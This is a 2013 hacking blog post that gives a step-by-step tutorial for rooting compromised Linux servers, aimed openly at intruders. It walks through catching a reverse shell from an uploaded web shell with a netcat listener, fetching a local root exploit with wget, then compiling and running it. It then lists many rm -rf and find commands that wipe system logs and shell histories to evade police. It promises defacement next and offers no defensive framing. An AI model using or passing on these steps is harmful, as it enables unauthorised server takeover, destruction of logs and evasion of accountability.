Tuesday, September 24, 2013

LINUX SERVER ROOTING Tutorial

Hello Hax0rtools.com Readers today i will show you how to root a server 


Root is the Administrator of all server. If someone got root access he can do anything with server like delete and copy anything on server ; can deface all the home pages (massive
deface )

Although there are mainly 3 wayz in which you can get into the server but here we will take the first method that is by local root

NEEDS :

  • Netcat (Download from Here)
  • Shelled site (Best Shellz Here)
  • Local root exploit (which you can find it Here  Or Download This collection Here)
STEPS:

  • In RUN program type cmd then type this  cd C:\Program Files\Netcat  but first save your netcat in the directory 
After it type this  : nc -n -l -v -p 443 , and you will get this -


Now open the url in which you had upload your shell and then connect it using back connect option in the shell(Be careful some shell do not have this option and do not use any proxy,tor or VPN), when connection is established you will get something like this -



Now you  have successfully connected ..  then we have to get the local root exploit like now we have   2.6.18-374 2011 . 


  • Now we have to first  upload our exploit in a writable folder, simply we can just change the directory to the /tmp folder which is a standard writable folder . 
 command to change dir to /tmp : cd /tmp
  • To upload your your exploit we will use the  wget function . 
Now Type : wget http://www.example.com/exploit.c 

Now exploit will be uploaded to tmp folder

 


  •  (CASE TYPE 1) if you have uploaded your exploit as  (exploit.c) the we have to compile it, so to compile it we will type the following command .
Type : gcc exploit.c -o exploit

Note that  above command exploit refers to the name of your exploit (exploit.c) .so if its properly compiled with no errors & warning then you can proceed or if you get an error then find another exploit. 

(CASE TYPE 2) If you have uploaded your exploit in a zip file then you have to unzip it by typing the below command .

Type: unzip exploit.zip 

  • After we have done all the above steps correctly, its time to give permission so we will type the following  command 
Type: chmod 777 exploit
  • Now  its time to run the Exploit, to run the exploit we will type the following command 
Type: ./exploit

Now the exploit will run & the server will be rooted  ;) .  To check weather we got root we can type 

Type: id or whoami  

NOW HOW TO CLEAR THE LOG AND COME OUT SAFELY FROM SERVER

If you do not want to caught yourself by Cops then delete the log using following commands

rm -rf /tmp/logs
rm -rf $HISTFILE
rm -rf /root/.ksh_history
rm -rf /root/.bash_history
rm -rf /root/.ksh_history
rm -rf /root/.bash_logout
rm -rf /usr/local/apache/logs
rm -rf /usr/local/apache/log
rm -rf /var/apache/logs
rm -rf /var/apache/log
rm -rf /var/run/utmp
rm -rf /var/logs
rm -rf /var/log
rm -rf /var/adm
rm -rf /etc/wtmp
rm -rf /etc/utmp
history -c
find / -name *.bash_history -exec rm -rf {} \;
find / -name *.bash_logout -exec rm -rf {} \;
find / -name "log*" -exec rm -rf {} \;
find / -name *.log -exec rm -rf {} \;

i hope you had learn how to root a server My next Tutorial will be about How to mass deface after rooting a server.

ANY PROBLEM THEN SHARE VIA COMMENT:

No comments:

Post a Comment

Follow Me